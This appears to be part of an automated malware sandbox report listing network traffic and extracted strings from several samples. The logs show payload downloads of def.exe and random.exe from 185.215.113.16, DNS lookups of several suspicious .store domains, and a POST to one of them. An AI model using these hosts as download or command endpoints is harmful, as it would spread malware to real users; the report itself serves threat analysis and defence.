Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 00000023.00000002.2745372993.000002732A30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2745372993.000002732A30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.2745372993.000002732A30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/4
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Q
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Z
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/b
Source: file.exe, file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe?
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exer
Source: file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/n
Source: file.exe, file.exe, 00000000.00000003.1870527324.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870800094.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870872236.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1870527324.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870872236.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeO
Source: file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeRs
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000003.2713590491.00000214EAACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2713590491.00000214EAAC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2584713703.00000214EAAF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2697115919.00000214E9CEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2696194181.00000214F1E9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2586410325.00000214E9CF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2697115919.00000214E9CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: mozilla-temp-41.29.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2757325521.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
